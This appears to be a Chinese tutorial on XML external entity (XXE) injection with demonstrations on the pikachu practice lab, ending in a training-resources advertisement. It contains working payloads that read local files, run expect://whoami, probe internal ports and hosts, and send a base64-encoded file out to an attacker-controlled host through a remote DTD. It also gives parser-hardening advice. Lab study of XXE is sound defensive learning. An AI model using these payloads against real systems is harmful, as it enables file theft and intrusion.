ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

【XML外部实体注入】XXE漏洞分析

【XML外部实体注入】XXE漏洞分析 XML基础XML是一种非常流利的标记语言在解析外部实体的过程中XML解析器可以根据URL中指定的方案协议来查询各种网络协议和服务DNSFTPHTTPSMB等。外部实体对于在文档中创建动态引用非常有用这样对引用资源所做的任何更改都会在文档中自动更新。但是在处理外部实体时可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件这些文件可能包含密码和私人用户数据等敏感信息或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其它实现缺陷相结合这些攻击的范围可以扩展到客户端内存损坏任意代码执行甚至服务中断取决于这些攻击的上下文。XML用于标记电子文件使其具有结构性的标记语言可以用来标记数据、定义数据类型是一种允许用户对自己的标记语言进行定义的元语言。文档结构XML文档结构包括XML声明、DTD文档类型定义可选、文档元素!--XML声明-- ?xml version1.0? !--文档类型定义-- !DOCTYPE note [ !--定义此文档是 note 类型的文档-- !ELEMENT note (to,from,heading,body) !--定义note元素有四个元素-- !ELEMENT to (#PCDATA) !--定义to元素为”#PCDATA”类型-- !ELEMENT from (#PCDATA) !--定义from元素为”#PCDATA”类型-- !ELEMENT head (#PCDATA) !--定义head元素为”#PCDATA”类型-- !ELEMENT body (#PCDATA) !--定义body元素为”#PCDATA”类型-- ]]] !--文档元素-- note toDave/to fromTom/from headReminder/head bodyYou are a good man/body /noteDTDDTDdocument type definition文档类型定义的作用是定义XML文档的合法构建模块。DTD可以在XML文档内部声明也可以外部引用。1内部的 DOCTYPE 声明当DTD存在于XML源文件中由以下格式进行包裹!DOCTYPE 根元素 [元素声明]然后XML文件对于DTD的内容进行引用2外部文档声明从XML文件外部引入DTD!DOCTYPE 根元素 SYSTEM ”文件名”文件中存放的是元素声明以.dtd后缀结尾。DTD实体1内部实体声明!ENTITY 实体名称 ”实体的值”?xml version1.0 encodingISO-8859-1? !DOCTYPE foo [ !ELEMENT foo ANY !ENTITY xxe test ]这里定义元素为ANY说明接受任何元素但是定义了一个XML的实体实体其实可以看成一个变量到时候我们可以在XML中通过进行引用a userxxe;/user passmypass/pass /a使用xxe对上面定义的xxe实体进行了引用到时候输出的时候xxe就会被“test”替换。2外部实体声明!ENTITY 实体名称 SYSTEM ”URI”或实体名称PUBLICpublic_ID URI?xml version1.0 encodingISO-8859-1? !DOCTYPE foo [ !ELEMENT foo ANY !ENTITY xxe SYSTEM file:///c:/test.dtd ] creds userxxe;/user passmypass/pass /creds上面将实体分为两个派别内部实体和外部实体但是实际上从另一个角度看 实体可以分为另外两个派别通用实体和参数实体。3参数实体声明!ENTITY %实体名称 ”实体的值”或者!ENTITY %实体名称 SYSTEM ”URI”三种实体声明方式使用区别参数实体用%实体名称申明引用时也用%实体名称;其余实体直接用实体名称申明引用时用实体名称。参数实体只能在DTD中申明DTD中引用其余实体只能在DTD中申明可在xml文档中引用。!ENTITY % an-element !ELEMENT mytag (subtag) !ENTITY % remote-dtd SYSTEM http://ip/remote.dtd %an-element; %remote-dtd;XXE原理xxe即xml外部实体注入。指xml数据在传输过程中被利用外部实体声明部分修改导致服务器器执行了被修改的恶意代码造成了读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。XXE分类按构造外部实体声明直接通过DTD外部实体声明?xml version1.0? !DOCTYPE ANY [ !ENTITY xxe SYSTEM file:///c:/windows/win.ini ] axxe;/a通过DTD文档引入外部DTD文档中的外部实体声明?xml version1.0? !DOCTYPE ANY [ !ENTITY % d SYSTEM http://192.168.0.11/evil.dtd %d; ] axxe;/aevil.dtd!ENTITY xxe SYSTEM file:///c:/windows/win.ini通过DTD外部实体声明引入外部DTD文档中的外部实体声明?xml version1.0? !DOCTYPE ANY [ !ENTITY % d PUBLIC PUBLIC_ID http://192.168.0.11/evil.dtd %d; ] axxe;/aevil.dtd!ENTITY xxe SYSTEM file:///c:/windows/win.ini按输出信息正常回显XXE正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息可直接完成XXE攻击。报错XXE报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息可根据错误信息的不同判断是否注入成功。盲注XXE当服务器没有回显就需要选择使用盲注了。可组合利用file协议来读取文件或http协议和ftp协议来查看日志。1.查看受攻击机的服务器日志2.通过Dnslog平台查看是否进行查询3.Burp Collaborator Everywhere 插件验证分析原理xxe.dtd:!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourcefile:///C:/xxe.txt !ENTITY % int !ENTITY #37; send SYSTEM http://192.168.0.11?c%file;payload:!DOCTYPE convert [ !ENTITY % remote SYSTEM http://192.168.0.11/xxe.dtd %remote;%int;%send; ]从payload中能看到连续待用了三个参数实体%remote%int%send这就是我们的利用顺序%remote先调用调用后请求远程服务器上的xxe.dtd有点类似于将xxe.dtd包含进来然后%int调用xxe.dtd中的%file%file;就会去获取服务器上面的敏感文件然后将%file的结果填入到%send后面因为实体的值中不能有%所以将其转换成html实体编码%#37;我们在调用%send把我们读取到的数据发送到我们远程VPS上这样就实现了外带数据的效果完美解决了XXE无回显的问题。XXE危害pikachu靶场演示当允许引用外部实体时通过构造恶意内容可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。下面会结合pikachu靶场的xxe模块来实战演示。pikachu靶场的xxe是提供了一 个接收xml数据的api 。靶场地址https://github.com/zhuifengshaonianhanlu/pikachu直接解压在www路径下即可。读取任意文件PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件还可利用PHP伪协议。XML在各语言下支持的协议有:在实施攻击之前可以简单判断一下是否存在回显数据:?xml version1.0? !DOCTYPE ANY [ !ENTITY xxe 菜鸟 ] axxe;/a可以看到回显了”菜鸟“说明存在回显。注意只能判断是否存在回显不能判断是否支持外部实体有回显在知道存在回显后可以尝试读取一些敏感目录比如读取c:/windows/win.ini它是每个windows系统都有的linux系统的的话可以读取/etc/passwd当然想要读取其他文件目录只需更改绝对路径即可file://协议只能用绝对路径payload?xml version1.0? !DOCTYPE ANY [ !ENTITY xxe SYSTEM file:///c:/windows/win.ini ] axxe;/a有些XML解析支持列目录攻击者通过列目录、读文件获取账号密码后进一步攻击如读取tomcat-users.xml得到账号密码后登录tomcat的manager部署webshell。无回显也就是上面所说的盲注xxe。方法1服务器日志回显这里通过服务器请求包的信息来查看并读取文件。先准备测试环境我靶场机所在ip为192.168.0.1然后我使用另一台攻击机192.168.0.11上用python开启一个简单的http服务在桌面打开终端输入下面命令python3 -m http.server 80然后在桌面新建一个xxe.dtd文件写入下面内容xxe.dtd:!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourcefile:///C:/xxe.txt !ENTITY % int !ENTITY #37; send SYSTEM http://192.168.0.11?c%file;192.168.0.1靶机c盘下有一个xxe.txt当然这里也可以读取其他文件payload:!DOCTYPE convert [ !ENTITY % remote SYSTEM http://192.168.0.11/xxe.dtd %remote;%int;%send; ]在提交数据后页面是什么都没有显示的回到http服务器上可以看到刚刚提交数据的请求包信息xxe.txt里面的内容被警告base64加密后所外带显示出来了cd2VsY29tZQ在线base64解密https://base64.us/成功得到文件内容具体执行效果前面文章已经介绍过了。方法2查看DNS解析记录可以使受攻击服务器访问 DNS解析平台——http://www.dnslog.cn/或http://ceye.io/平台payload?xml version1.0? !DOCTYPE ANY [ !ENTITY % d SYSTEM http://te8sv4.dnslog.cn %d; ] axxe;/a说明XML解析成功访问了te8sv4.dnslog.cn具有XXE漏洞。方法3利用bp的Collaborator插件验证Collaborator插件位于extender模块下的Bapp Store点击安装即可在左上角打开Collaborator服务器点击复制到剪切 ,然后更换地址即可payload?xml version1.0? !DOCTYPE ANY [ !ENTITY % d SYSTEM http://t606r6jh3sa4nrjus0ks29kwbnhe53.burpcollaborator.net %d; ] axxe;/a可以看到Collaborator中收到了DNS解析记录和HTTP访问记录查看php源代码查看php源代码一般用php伪协议php://filterpayload?xml version1.0? !DOCTYPE ANY [ !ENTITY xxe SYSTEM php://filter/convert.base64-encode/resourceD:/phpstudy_pro/WWW/phpinfo.php ] axxe;/abase64解码即可远程代码执行这种情况很少发生但在配置不当/开发内部应用情况下PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上攻击者能够通过XXE执行代码。这里pikachu靶场演示不了。payload?xml version1.0 encodingUTF-8? !DOCTYPE any [ !ENTITY xxe SYSTEM expect://whoami ] userxxe;/userSSRF联动XXE可以和SSRF服务端请求伪造漏洞ssrf介绍文章请看http://t.csdn.cn/fNFpi一起用于探测其他内网主机的信息基于http协议。探测内网端口可根据返回信息内容的接收响应时间来判断该端口是否打开。这里最好利用burpsuite的intruder模块。payload?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM http://127.0.0.1:88 ] fooxxe;/foo先抓包右键发送到intruder模块然后设置载荷设置payload好后这里为了方便快捷只探测1-100端口开始攻击这时查看会发现它的响应状态都是200这并不是所需的结果需要按照发request包和回response包的间间间隔排序这里设置一下所选列然后点击一下response received列按大小排列可以看到80和88端口接收响应计数为2响应很快代表这两个端口是开放的探测内网主机同端口探测一样可根据返回信息内容的接收响应时间来判断ip是否存在payload?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM http://192.168.0.11 ] fooxxe;/foo设置后 payload后开始攻击查看response received列可以看到有192.168.0.11、10主机对比下nmap扫描网段结果探测内网文件同读取任意文件一样这里就不演示了。防御XXEXXE漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而要去检验DTDdocument type definition中SYSTEM标识符定义的数据并不太容易也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此最好的解决办法就是配置XML解析器去使用本地静态的DTD不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为FalseXML外部实体攻击就能够被阻止。因此可将外部实体、参数实体和内联DTD都设置为false从而避免基于XXE漏洞的攻击。使用开发语言提供的禁用外部实体的方法PHPlibxml_disable_entity_loader(true);JAVA:DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);Python:from lxml import etreexmlData etree.parse(xmlSource,etree.XMLParser(resolve_entitiesFalse))过滤用户提供的 XML数据过滤关键字!DOCTYPE、!ENTITY、SYSTEM、PUBLIC等。不允许XML中含有自己定义的DTD。总结本文只是对xxe漏洞基础学习所做的笔记简单通过pikachu靶场了解xxe漏洞的原理以及各种利用方法和思路并未更加深入去剖析感兴趣可以结合多个靶场和工具去实战。最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
返回列表